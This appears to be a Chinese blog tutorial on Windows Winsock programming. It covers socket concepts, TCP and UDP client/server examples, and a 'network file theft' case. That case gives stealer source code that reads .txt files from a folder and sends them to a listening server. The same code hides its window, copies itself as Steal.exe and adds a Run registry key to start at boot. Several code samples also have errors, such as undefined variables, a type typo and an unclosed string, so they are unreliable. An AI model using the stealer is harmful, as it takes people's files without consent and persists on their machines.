2 Windows网络编程

news2024/7/6 19:56:16

1 基础概念

1.1 socket概念

Socket 的原意是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层,它是一组用于网络通信的API,包括了一系列的函数和数据结构,它提供了一种标准的网络编程接口,使得应用程序可以在网络中进行数据传输。Socket本身并不是一个具体的实现,而是一个抽象的概念。不同的操作系统和编程语言可以通过不同的方式来实现Socket API.

1.2 什么是 C/S 模式

C/S模式是指Client/Server模式(客户端/服务器模式)。它是一种计算机架构模式,用于描述分布式计算中的两个主要组成部分:客户端和服务器。
客户端是指发起请求的用户或应用程序,它向服务器发送请求并等待服务器的响应。
服务器是指接受客户端请求,并提供相应服务或资源的中央计算机或系统。

1.3 面向连接和面向消息

面向连接的套接字:传输过程中数据不会丢失、按顺序传输、传输过程中不存在数据边界
面向消息的套接字:强调快速传输而非顺序、传输的数据可能丢失也可能销毁、限制每次传输数据的大小

1.4 IP地址和端口

IP地址:是指互联网协议地址,又称网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。
Port:为了区分程序中创建的套接字而分配给套接字的序号。

1.5 套接字类型与协议设置

1.SOCK_STREAM(流套接字)
基于TCP协议,提供面向连接、可靠的数据传输方式。TCP协议通过建立连接、数据分段和重传机制等来保证数据的可靠性。由于TCP协议的特性,流套接字适合传输大量数据,如文件传输、网页浏览等。然而,TCP协议并不支持广播和多播,因为这些功能在可靠性方面很难保证。
2.SOCK_DGRAM(数据包套接字)
基于UDP协议,提供无连接的数据传输方式。UDP协议相比TCP协议更加简单,因为它没有连接建立和维护的开销,并且没有拥塞控制机制。UDP适用于实时性要求较高或数据量较小的应用场景,如音频/视频传输、实时游戏等。另外,UDP协议支持广播和多播,可以将一份数据同时发送给多个接收者。
3.SOCK_RAW(原始套接字)
可以读写内核没有处理的IP数据报,可以直接与网络层进行交互,避开了TCP/IP处理机制。原始套接字通常用于网络封包分析、网络扫描、网络安全检测等高级网络功能。

1.6 网络编程基本函数和基本数据结构

1.函数

//1.创建套接字,套接字函数创建绑定到特定传输服务提供程序的套接字。
SOCKET WSAAPI socket(
  [in] int af,//地址系列规范,当前支持的值是AF_INET 或 AF_INET6
  [in] int type,//套接字类型
  [in] int protocol//使用的协议
);
//2.套接字与本地IP地址和端口号绑定
int bind(//如果未发生错误, 绑定将返回零。 否则,它将返回SOCKET_ERROR
  [in] SOCKET         s,// 标识未绑定套接字的描述符。
       const sockaddr *addr,// 指向要分配给绑定套接字 的本地地址 的 sockaddr 结构的指针。
  [in] int            namelen// addr 指向的值的长度(以字节为单位
);
//3.请求连接
int WSAAPI connect(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR
  [in] SOCKET         s,// 标识未连接的套接字的描述符。
  [in] const sockaddr *name,// 指向应建立连接的 sockaddr 结构的指针。
  [in] int            namelen// name 参数指向的 sockaddr 结构的长度(以字节为单位)
);
//4.侦听连接请求
int WSAAPI listen(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR
  [in] SOCKET s,// 标识绑定的未连接的套接字的描述符。
  [in] int    backlog// 挂起的连接队列的最大长度
);
//5.接受连接请求
//如果未发生错误, 则 accept 返回 一个 SOCKET 类型的值,该值是新套接字的描述符。 此返回的值是建立实际连接的套接字的句柄。
// 否则,将返回 值 INVALID_SOCKET ,并且可以通过调用 WSAGetLastError 来检索特定的错误代码。
SOCKET WSAAPI accept(
  [in]      SOCKET   s,// 标识绑定的未连接的套接字的描述符。
  [out]     sockaddr *addr,// 指向接收连接实体地址的缓冲区的可选指针,称为通信层。
  [in, out] int      *addrlen// 指向包含 addr 参数指向的结构长度的整数的可选指针。
);
//6.往已经连接好的套接字上发送数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int WSAAPI send(
  [in] SOCKET     s,// 标识连接的套接字的描述符。
  [in] const char *buf,// 向包含要传输的数据的缓冲区的指针。
  [in] int        len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)
  [in] int        flags// 一组指定调用方式的标志。 
);
//7.从已经建立连接的套接字上接受数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int recv(// 阻塞函数,即在接收数据之前会一直等待,直到接收到数据或发生超时
  [in]  SOCKET s,// 标识连接的套接字的描述符。
  [out] char   *buf,// 向包含要接受的数据的缓冲区的指针。
  [in]  int    len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)
  [in]  int    flags// 一组指定调用方式的标志。 
);
//8.在无连接的套接字上发送数据
// 如果未发生错误, sendto 将返回发送的总字节数,这可能小于 len 指示的数量。 
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int sendto(
  [in] SOCKET         s,// 标识可能连接的 () 套接字的描述符。
  [in] const char     *buf,// 指向包含要传输的数据的缓冲区的指针
  [in] int            len,// buf 参数指向的数据的长度(以字节为单位)。
  [in] int            flags,// 一组指定调用方式的标志
  [in] const sockaddr *to,// 指向包含目标套接字地址 的 sockaddr 结构的可选指针。
  [in] int            tolen// 由 to 参数指向的地址的大小(以字节为单位)。
);
//9.在无连接的套接字上接受数据
int recvfrom(
  [in]                SOCKET   s,// 标识绑定套接字的描述符。
  [out]               char     *buf,// 指向传入数据的缓冲区的指针
  [in]                int      len,// buf参数指向的缓冲区的长度(以字节为单位)。
  [in]                int      flags,// 一组选项,用于修改函数调用的行为,超出为关联套接字指定的选项
  [out]               sockaddr *from,// 指向 sockaddr 结构中的缓冲区的可选指针,该缓冲区将在返回时保留源地址。
  [in, out, optional] int      *fromlen// 指向 from 参数指向的缓冲区的大小(以字节为单位)的可选指针。
);
//10.关闭套接字
int close(int sockfd)
//11.
MAKEWORD

2.结构体

//1. SOCKADDR 结构是指定传输地址的泛型结构
typedef struct sockaddr {
#if ...
  u_short        sa_family;// 16位地址类型2字节的传输地址的地址系列
#else
  ADDRESS_FAMILY sa_family;
#endif
  CHAR           sa_data[14];// 包含传输地址数据的14 字节数组:IP+PORT
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;

//2. sockaddr_in表示 IPv4 地址和端口号的信息
typedef struct sockaddr_in {
#if ...
  short          sin_family;// 传输地址的地址系列。 此成员应始终设置为 AF_INET
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;// 16位的传输协议端口号。
  IN_ADDR        sin_addr;// 32位的包含 IPv4 传输地址 的IN_ADDR 结构。
  CHAR           sin_zero[8];// 预留给系统使用。 WSK 应用程序应将此数组的内容设置为零。
} SOCKADDR_IN, *PSOCKADDR_IN;

//3.In_addr结构表示 IPv4 Internet 地址
// 通过 ​struct in_addr​ 结构体内的 ​S_un​ 成员,我们可以按照不同的需求选择适当的访问方式来表示和操作 IPv4 地址。
// 例如,我们可以使用 ​S_un_b.s_b1​~​S_un_b.s_b4​ 来依次访问 IPv4 的四个字节,也可以使用 ​S_un_w.s_w1​ 和 ​S_un_w.s_w2​ 来访问前两个和后两个字节。
// 另外,如果需要将 IPv4 地址转换成网络字节序的无符号长整型表示,则可以使用 ​S_addr​ 成员。
struct in_addr {
  union {
    struct {// 结构体类型,用于按字节访问 IP 地址。
      u_char s_b1;
      u_char s_b2;
      u_char s_b3;
      u_char s_b4;
    } S_un_b;
    struct {// 构体类型,用于按短整型访问 IP 地址。
      u_short s_w1;
      u_short s_w2;
    } S_un_w;
    u_long S_addr;// 无符号长整型,以网络字节序表示的 IPv4 地址。
  } S_un;
};

2 TCP连接

在这里插入图片描述

2.1 服务端

代码如下:

#include <WinSock2.h>// 用于支持网络编程。
#include <iostream> 
#pragma comment(lib, "ws2_32.lib") // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数。
#define _WINSOCK_DEPRECATED_NO_WARNINGS// 禁用某些已经过时的函数警告。

int main()
 {
   // 1.加载套接字库 
	 WORD wVersionRequested; // 请求的Winsock版本
	 WSADATA wsaData; // 用于接收Winsock初始化后的信息。
	 int err; // 错误码
	 wVersionRequested = MAKEWORD(1,1); // 设置请求的Winsock版本为1.1 
	 err = WSAStartup(wVersionRequested, &wsaData);  // 初始化Winsock库,并获取相关信息。
	 if (err != 0) { 
		 return err;
	 }
	 // 检查是否成功加载请求的Winsock版本。
	 if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) 
	 { 
		 WSACleanup();// 如果版本不匹配,调用WSACleanup函数清理Winsock资源。
		 return -1; 
	 }
	 // 新建TCP套接字 
	 SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0); 
	 SOCKADDR_IN addrSrv;// 表示服务器的地址结构体
	 addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 监听任意本地IP地址
	 addrSrv.sin_family = AF_INET; // 指定地址族为IPv4
	 addrSrv.sin_port = htons(6000); // 绑定套接字到本地 IP 地址,端口号 6000 
	 bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR)); // 套接字绑定本地地址
	 listen(sockSrv, 5); // 开始监听客户端连接,设置最大连接数量为5。
	 SOCKADDR_IN addrCli; 
	 int len = sizeof(SOCKADDR); 
	 while (true) { // 接收客户连接 
		 SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len); 
		 // (SOCKADDR*)&addrCli​ 传递了一个用于存储客户端地址信息的 SOCKADDR 结构体指针,当有客户端成功连接时,会将客户端的地址信息填写到 ​addrCli​ 中。
		 // ​accept​ 函数会阻塞程序执行,直到有客户端发起连接请求。当有连接请求到达时,​accept​ 函数会创建一个新的套接字 ​sockConn​,专门用于与连接到的客户端进行通信。与此同时,它也会填写 ​addrCli​ 结构体,以提供客户端的地址信息。
		 char sendBuf[100]; 
		 sprintf_s(sendBuf, 100, "Welcome %s to bingo!", inet_ntoa(addrCli.sin_addr)); //发送数据 
		 len = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0); 
		 if (iLen < 0) { 
		 	printf("recv errorNum = %d\n", GetLastError());
		 	return -1;
		 }
		 char recvBuf[100]; //接收数据 
		 len = recv(sockConn, recvBuf, 100, 0); //打印接收的数据 
		 if (iLen < 0)
		 { 
		  	printf("recv errorNum = %d\n", GetLastError());
		 		return -1;
		  }
		 std::cout << recvBuf << std::endl; 
		 closesocket(sockConn); 
	 }
	 closesocket(sockSrv); 
	 WSACleanup(); 
	 return 0; 
}

2.2 客户端

代码如下:

#include<WinSock2.h>// 网络编程库
#include<stdio.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib) // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数
int main(){
	printf("Client\n"); 
	char sendBuf[] = "hello,world";
	// 1 初始化网络库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(1,1);
	err = WSAStartup(wVersion, &wsaData); // ​ 初始化和启动 Windows Sockets 库
	if (err != 0) { 
		return err; 
	}
	// 检查wsaData的版本是否与期望的一致,LOBYTE(wsaData.wVersion)​
	// 提取 ​wsaData.wVersion​ 的低字节。​​	
	// HIBYTE(wsaData.wVersion)​ 提取 ​wsaData.wVersion​ 的高字节
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) { 
		WSACleanup();
		return -1; 
}
// 2 创建套接字
	Socket sockCli = socket(AF_INET,SOCK_STREAM,0);
	// 服务端的网络结构体的创建与配置
	SOCKADDR_IN addrSrv;
	addrSrv.sin_port = htons(6000);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
// 3 连接服务器
	if(SOCKET_ERROR == connect(sockCli,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR))) {
		printf("connect errorNum = %d\n", GetLastError()); // 连接失败则返回最近windows捕捉的错误码
		return -1;
	}
// 4 发送和接受信息
	char recvBuf[100] = {0};
	int len  = recv(sockCli,recvBuf,100,0);
	if(len < 0) {
	 printf("recv errorNum = %d\n", GetLastError());
	 return -1; 
	}
	printf("Client recvBuf = %s\n", recvBuf);
	len = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
	if (iLen < 0) { 
		printf("send errorNum = %d\n", GetLastError()); 
		return -1; 
	}
// 5 关闭套接字
	closesocket(sockCli);
	WSACleanup(); 
	system("pause");
 	return 0;
}

2.3 实例结果

服务端:连接客户端后,发送数据与接受客户端的数据,最后打印接收的数据
在这里插入图片描述客户端:连接服务端后,发送数据与接收服务端的数据,打印服务端接受的数据
在这里插入图片描述

3 UDP连接

在这里插入图片描述

3.1 服务端

#include<WinSock2.h>
#include<iostream>

#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {
	// 1 初始化网络库
	WORD wVersion;
	WSADATA wsaData;
	int err;
	wVersion = MAKEWORD(1, 1);
	err = WSAStartup(wVersion, &wsaData);
	if (err != 0) {
		WSACleanup();
		return err;
	}
	// 创建套接字 
	SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);
	SOCKADDR_IN addrSrv; // 服务端网络结构体
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 
	addrSrv.sin_family = AF_INET; 
	addrSrv.sin_port = htons(6001); 
	// 绑定套接字 
	bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)); 
	// 等待并接收数据 
	SOCKADDR_IN addrCli; // 客户端结构体
	int len = sizeof(SOCKADDR_IN);
	char recvBuf[100]; 
	char sendBuf[100]; 
	while (true) { 
		recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);
		std::cout << recvBuf << std::endl; 
		sprintf_s(sendBuf, 100, "Ack %s", recvBuf); 
		sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);
	}
	// 关闭套接字
		closesocket(sockSrv); 
		WSACleanup();
		system("pause"); 
		return 0;
}

3.2 客户端

#include<WinSock2.h>
#include<iostream>

#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {
	// 1 初始化网络库
	WORD wVersion;
	WSADATA wsaData;
	int err;
	wVersion = MAKEWORD(1, 1);
	err = WSAStartup(wVersion, &wsaData);
	if (err != 0) {
		WSACleanup();
		return err;
	}
	// 创建套接字 
	SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
	SOCKADDR_IN addrSrv;// 服务端网络结构体
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); 
	addrSrv.sin_port = htons(6001); 
	addrSrv.sin_family = AF_INET; 
	int len = sizeof(SOCKADDR);
	char sendBuf[] = "hello";
	char recvBuf[100]; 
	//发送数据 
	sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);
	recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len); 
	std::cout << recvBuf << std::endl; 
	closesocket(sockCli); 
	system("pause");
	return 0; 
}

3.3 实例结果

服务端
在这里插入图片描述客户端
在这里插入图片描述

4 案例之网络文件截取

4.1 相关结构体与函数

// 1 用于描述文件或目录的属性和信息
typedef struct _WIN32_FIND_DATAW {
  DWORD    dwFileAttributes;// 文件的文件属性。
  FILETIME ftCreationTime;// 指定创建文件或目录的时间。
  FILETIME ftLastAccessTime;// 对于文件,结构指定上次从中读取、写入文件或运行可执行文件的运行时间
  FILETIME ftLastWriteTime;// 对于文件,结构指定文件的上次写入、截断或覆盖时间,
  DWORD    nFileSizeHigh;// 文件大小的高阶 DWORD 值(以字节为单位)
  DWORD    nFileSizeLow;// 文件大小的低序 DWORD 值(以字节为单位)
  DWORD    dwReserved0;
  DWORD    dwReserved1;
  WCHAR    cFileName[MAX_PATH];// 文件的名称
  WCHAR    cAlternateFileName[14];// 文件的可选名称
  DWORD    dwFileType; // Obsolete. Do not use.
  DWORD    dwCreatorType; // Obsolete. Do not use
  WORD     wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
// 2 用于在指定的目录中查找与指定的文件名匹配的第一个文件或目录
HANDLE FindFirstFile(
 [in]  LPCTSTR             lpFileName,// 指定要搜索的文件或目录的路径和文件名。可以包含通配符。
 [out] LPWIN32_FIND_DATA   lpFindFileData// 指向 ​WIN32_FIND_DATA​ 结构体(或 ​_WIN32_FIND_DATAW​ 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 3 用于继续在指定的目录中查找与上一次调用 ​FindFirstFile​ 或 ​FindNextFile​ 函数匹配的下一个文件或目录。
BOOL FindNextFile(
 [in] HANDLE             hFindFile,// 搜索句柄,由之前的 ​FindFirstFile​ 或 ​FindNextFile​ 函数返回
[out] LPWIN32_FIND_DATA  lpFindFileData// 指向 ​WIN32_FIND_DATA​ 结构体(或 ​_WIN32_FIND_DATAW​ 结构体)的指针,用于接收查找到的文件或目录的信息。
);

4.2 目的:客户端窃取指定目录下后缀为.txt文件内容,并将文件内容传输至服务端,服务端接收客户端传来的数据。

4.3客户端

#include <stdio.h>
#include <windows.h> 
#include <io.h> 

#pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path) {
	//0 初始化网络库 
	// 加载套接字库 
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char sendBuf[1024] = {0};
	wVersionRequested = MAKEWORD(2, 2); 
	// 1、初始化套接字库
	 err = WSAStartup(wVersionRequested, &wsaData);
	 if (err != 0) { 
		 printf("WSAStartup errorNum = %d\n", GetLastError());
		 system("pause");
		 return err;
	 }
	 if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) 
	 { 
		 printf("LOBYTE errorNum = %d\n", GetLastError());
		 WSACleanup();
		 system("pause");
		 return -1;
	 }
	 // 2 安装电话机 
	 // 新建套接字 
	 SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	 if (INVALID_SOCKET == sockCli) 
	 {
		 printf("socket errorNum = %d\n", GetLastError()); system("pause"); return -1;
	 }
	 SOCKADDR_IN addrSrv;
	 addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	 addrSrv.sin_family = AF_INET;
	 addrSrv.sin_port = htons(6000); 
	 // 3 连接服务器 
	 if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) 
	 { 
		 printf("connect errorNum = %d\n", GetLastError()); 
		 system("pause"); 
		 return -1; 
	 }
	 // 4 读取文件内容 
	 FILE* fp = fopen(path, "rb"); 
	 int len = fread(sendBuf, 1, 1024, fp);
	 fclose(fp);
	 // 5 发送数据 
	 int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0); 
	 if (iLen < 0) 
	 { 
		printf("send errorNum = %d\n", GetLastError()); system("pause");
		return -1;
	 }
	 // 关闭套接字
	  closesocket(sockCli);
	  //WSACleanup(); 
	  return 0;
}
int DoSteal(const char* szPath) { 
	// 1 遍历 szPath 下所有的文件 
	WIN32_FIND_DATA FindFileData;// FindFileData 表示文件
	HANDLE hListFile; //文件用句柄来标识,编号 
	char szFilePath[MAX_PATH] = {0}; 
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*"); 
	// 2 首先找到第一个文件,用 hListFile 标识 
	hListFile = FindFirstFile(szFilePath, &FindFileData); 
	// 3 循环遍历所有文件 
	do{ 
		char mypath[MAX_PATH] = { 0 }; 
		strcpy(mypath, szPath); 
		strcat(mypath, FindFileData.cFileName); 
		if (strstr(mypath, ".txt")) //txt 文件 
		{ //真真正正开始窃取文件
			printf("mypath = %s\n", mypath);
			SendtoServer(mypath);
		} 
	} while (FindNextFile(hListFile, &FindFileData));
	//FindNextFile 的返回值为 NULL,退出循环 
	return 0; 
}
void AddToSystem() {
	 HKEY hKEY; 
	 char CurrentPath[MAX_PATH]; 
	 char SysPath[MAX_PATH]; 
	 long ret = 0; 
	 LPSTR FileNewName; 
	 LPSTR FileCurrentName; 
	 DWORD type = REG_SZ; 
	 DWORD size = MAX_PATH;
	 LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	 //regedit win + R GetSystemDirectory(SysPath, size);
	 GetModuleFileName(NULL, CurrentPath, size);
	 //Copy File 
	 FileCurrentName = CurrentPath;
	 FileNewName = lstrcat(SysPath, "\\Steal.exe");
	 struct _finddata_t Steal;
	 printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	 if (_findfirst(FileNewName, &Steal) != -1) 
		 return;
	//已经安装!
	  printf("ret2 = %d\n", ret); 
	  int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器 处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制 到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下 任何东西。",
		 "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	  if (ihow == IDCANCEL) exit(0);
	  if (ihow == IDNO) return;
	 //只运行一次 
	 //复制文件
	  ret = CopyFile(FileCurrentName, FileNewName, TRUE); 
	  if (!ret) {
		  return; 
	  }
	  //加入注册表
	   printf("ret = %d\n", ret);
	   ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	   if (ret != ERROR_SUCCESS)
	   {
		   RegCloseKey(hKEY);
		   return;
	   }
	   //Set Key
	 ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size); 
	 if (ret != ERROR_SUCCESS) { 
		 RegCloseKey(hKEY); 
		 return; 
	 }
	 RegCloseKey(hKEY);
}
void HideMyself() { 
	// 拿到当前的窗口句柄
	 HWND hwnd = GetForegroundWindow();
	 ShowWindow(hwnd, SW_HIDE); 
}
int main() {
	printf("Steal\n");
	// 隐藏自身 
	HideMyself();
	// 添加到启动项 
	AddToSystem();
	DoSteal("D:\\code\\cpp\\stealtest\\");
	return 0;
}

4.4 服务端

#include <stdio.h> 
#include <windows.h> 
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024 
//控制台打印错误码的函数 
void ErrorHanding(const char *msg) 
{ 
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1); 
}
int main()
{ 
	WORD wVersionRequested; 
	WSADATA wsaData; 
	int err; 
	char msg[MAX_SIZE] = { 0 };
	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库 
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0) 
	{ 
		ErrorHanding("WSAStartup error"); 
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) 
	{ 
		printf("LOBYTE errorNum = %d\n", GetLastError()); 
		WSACleanup();
		ErrorHanding("LOBYTE error"); 
		return -1; 
	}
	// 2 建立 socket
	 SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == hServerSock) 
	{
		ErrorHanding("socket error"); 
	}
	SOCKADDR_IN addrSrv; 
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000); 
	// 3 分配电话号码 
	// 绑定套接字到本地 IP 地址,端口号 9527 
	if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) 
	{
		ErrorHanding("socket error"); 
	}
	// 4、监听 listen
	 if (SOCKET_ERROR == listen(hServerSock, 5))
	 { 
		 ErrorHanding("listen error"); 
	 }
	 SOCKADDR_IN addrCli; 
	 int cliAdrSize = sizeof(SOCKADDR_IN);
	 SOCKET cliSock;
	 int strLen = 0;
	 // 5 循环接收数据 
	 while(TRUE) 
	 { 
		 cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize); 
		 if (SOCKET_ERROR == cliSock) 
		 { 
			 ErrorHanding("accept error");
		 }
		 memset(msg, 0, MAX_SIZE); 
		 while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0) 
		 { 
			 printf("Server msg = %s\n",msg);
		 }
		 closesocket(cliSock);
	 }
	closesocket(hServerSock);
	WSACleanup();
	return 0;
}

4.5 结果展示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1350842.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

图片处理相关网站(图片分辨率、尺寸修改、AI扩图等)

分享一些免费的可进行图片的各种处理的网站&#xff0c;包括图片分辨率、尺寸修改、AI扩图等&#xff0c;持续增加中。。。 1.photokit.com 可进行图片分辨率、尺寸、压缩等修改。 免费在线图片编辑器 - 在线抠图、改图、修图、美图 - PhotoKit.comPhotoKit是一款免费的…

浅析PCIe 6.0功能更新与实现的挑战-2

确保TX重试缓冲区的准确性也非常重要&#xff0c;因为在接收到确认或否定信号之前&#xff0c;所有FLIT都需要存储在缓冲区中。由于一个FLIT可能包含多个TLP&#xff0c;或者一个大TLP可以被分割成多个FLIT&#xff0c;因此必须保证重传的FLIT不会跳过或额外添加原始FLIT中的TL…

【算法与数据结构】968、LeetCode监控二叉树

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;本题的一共有两个难点&#xff0c;一个在于如何遍历二叉树&#xff08;前中后遍历&#xff0c;选择什么…

12.31信号位宽转换(整数,非整数),时钟分频(奇数,偶数,任意小数,占空比),自动售货机(1,2),游戏机

非整数倍数据位宽转换8to12 所谓非整数倍&#xff0c;就是利用一个cnt去周期性决定寄存器里怎么输出&#xff0c;这个cnt的值&#xff0c;是最小公倍数 寄存器就正常的寄存&#xff0c;怎么输入怎么寄存 timescale 1ns/1nsmodule width_8to12(input clk , input…

C++面试宝典第12题:数组元素相除

题目 从控制台输入若干个整数作为数组,将数组中每一个元素除以第一个元素的结果,作为新的数组元素值。比如:可以先输入3,作为数组元素的个数;然后输入3个整数,作为数组元素的值。 解析 这道题本身并不复杂,但里面隐藏了不少“坑点”和“雷区”,主要考察应聘者全面思考问…

基于rockpi4b启动流程(2)

uboot启动kernel 基于上篇文章,将开发板烧录loder和system镜像,即可开机进console。 我们将系统停到uboot命令行,printenv看下环境变量 => printenv arch=arm baudrate=1500000 board=evb_rk3399 board_name=evb_rk3399 boot_a_script=load ${devtype} ${devnum}:${di…

4.32 构建onnx结构模型-Erf

前言 构建onnx方式通常有两种&#xff1a; 1、通过代码转换成onnx结构&#xff0c;比如pytorch —> onnx 2、通过onnx 自定义结点&#xff0c;图&#xff0c;生成onnx结构 本文主要是简单学习和使用两种不同onnx结构&#xff0c; 下面以 Erf 结点进行分析 方式 方法一&…

【Linux 内核源码分析】GPIO子系统软件框架

Linux内核的GPIO子系统是用于管理和控制通用输入输出&#xff08;GPIO&#xff09;引脚的软件框架。它提供了一套统一的接口和机制&#xff0c;使开发者能够方便地对GPIO进行配置、读写和中断处理。 主要组件&#xff1a; GPIO框架&#xff1a;提供了一套API和数据结构&#x…

Python爬虫---selenium基本使用(支持无界面浏览器PhantomJS和Chrome handless)

为什么使用selenium&#xff1f; 使用urllib.request.urlopen()模拟浏览器有时候获取不到数据,所以使用selenium (1) selenium是一个用于web应用程序测试的工具 (2) selenium 测试直接运行在浏览器中&#xff0c;就像真正的用户在操作一样 (3) 支持通过各种driver (FirfoxDri…

【Matlab】ELM极限学习机时序预测算法(附代码)

资源下载&#xff1a; https://download.csdn.net/download/vvoennvv/88681649 一&#xff0c;概述 ELM&#xff08;Extreme Learning Machine&#xff09;是一种单层前馈神经网络结构&#xff0c;与传统神经网络不同的是&#xff0c;ELM的隐层神经元权重以及偏置都是随机产生的…

系统架构设计师笔记

第1章计算机组成与体系结构 1.1.1计算机硬件的组成 &#xff08;1&#xff09;控制器。控制器是分析和执行指令的部件&#xff0c;也是统一指挥并控制计算机各部件协调工作的中心部件&#xff0c;所依据的是机器指令。控制器的组成包含如下。 ①程序计数器PC&#xff1a;存储下…

CopyTranslator11安装包下载及安装教程

CopyTranslator 10下载链接&#xff1a;https://docs.qq.com/doc/DUmJlS1NJb3hYZnJl 1.鼠标右击下载的压缩包选择【解压到copytranslator 11.0】文件夹 2.打开解压得到的文件夹&#xff0c;鼠标右击【copytranslator-setup-11.0.0.exe】&#xff0c;选择以管理员身份运行 3.点击…

【操作系统xv6】学习记录4 -CPU上下文:进程上下文、线程上下文、中断上下文

什么是cpu上下文 CPU 寄存器和程序计数器就是 CPU 上下文&#xff0c;因为它们都是 CPU 在运行任何任务前&#xff0c;必须的依赖环境。 什么是 CPU 上下文切换 先把前一个任务的 CPU 上下文&#xff08;也就是 CPU 寄存器和程序计数器&#xff09;保存起来&#xff0c;然后…

FTP简介FTP服务器的搭建【虚拟机版】以及计算机端口的介绍

目录 一. FTP简介 二. FTP服务器的搭建【虚拟机Windows2012版】 1. 启用防火墙 2. 打开服务器管理器➡工具➡计算机管理 3. 选择本地用户与组➡新建组 4. 给组命名&#xff0c;输入描述&#xff0c;点击创建 5. 新建用户&#xff0c;设置用户名称&#xff0c;添加描述&a…

看懂 Git Graph

